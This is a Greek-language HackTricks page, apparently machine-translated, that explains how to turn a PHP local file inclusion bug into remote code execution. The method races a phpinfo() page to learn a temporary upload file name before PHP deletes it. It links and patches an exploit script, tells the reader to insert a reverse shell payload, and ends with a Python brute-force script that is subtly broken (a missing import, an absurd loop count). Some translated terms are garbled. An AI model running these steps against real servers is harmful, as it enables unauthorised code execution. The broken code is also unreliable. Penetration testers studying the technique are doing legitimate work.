tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται το phpinfo(), "file_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράφει στον φάκελο "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Πρέπει να διορθώσετε την εκμετάλλευση (να αλλάξετε => σε =>). Για να το κάνετε αυτό μπορείτε να:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Πρέπει να αλλάξετε επίσης το payload στην αρχή της εκμετάλλευσης (για παράδειγμα, για ένα php-rev-shell), το REQ1 (αυτό θα πρέπει να δείχνει στη σελίδα phpinfo και θα πρέπει να έχει το padding συμπεριλαμβανομένο, δηλαδή: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), και LFIREQ (αυτό θα πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Ελέγξτε το διπλό "%" όταν εκμεταλλεύεστε το null char)
Θεωρία
Αν οι αναφορές είναι επιτρεπτές σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι ο διακομιστής να έχει ολοκληρώσει την επεξεργασία του αιτήματος, τότε αυτό το προσωρινό αρχείο διαγράφεται.
Έτσι, αν έχετε βρει μια ευπάθεια LFI στον διακομιστή ιστού μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν διαγραφεί.
Στα Windows τα αρχεία συνήθως αποθηκεύονται στο C:\Windows\temp\php
Στο linux το όνομα του αρχείου συνήθως είναι τυχαίο και βρίσκεται στο /tmp. Δεδομένου ότι το όνομα είναι τυχαίο, είναι απαραίτητο να εξάγετε από κάπου το όνομα του προσωρινού αρχείου και να αποκτήσετε πρόσβαση σε αυτό πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της μεταβλητής $_FILES μέσα στο περιεχόμενο της συνάρτησης "phpconfig()".
phpinfo()
PHP χρησιμοποιεί ένα buffer 4096B και όταν είναι γεμάτο, αποστέλλεται στον πελάτη. Στη συνέχεια, ο πελάτης μπορεί να στείλει πολλές μεγάλες αιτήσεις (χρησιμοποιώντας μεγάλες κεφαλίδες) ανεβάζοντας ένα php reverse shell, περιμένοντας να επιστραφεί το πρώτο μέρος του phpinfo() (όπου είναι το όνομα του προσωρινού αρχείου) και να προσπαθήσει να αποκτήσει πρόσβαση στο temp αρχείο πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
Python script για να προσπαθήσετε να σπάσετε το όνομα (αν το μήκος = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.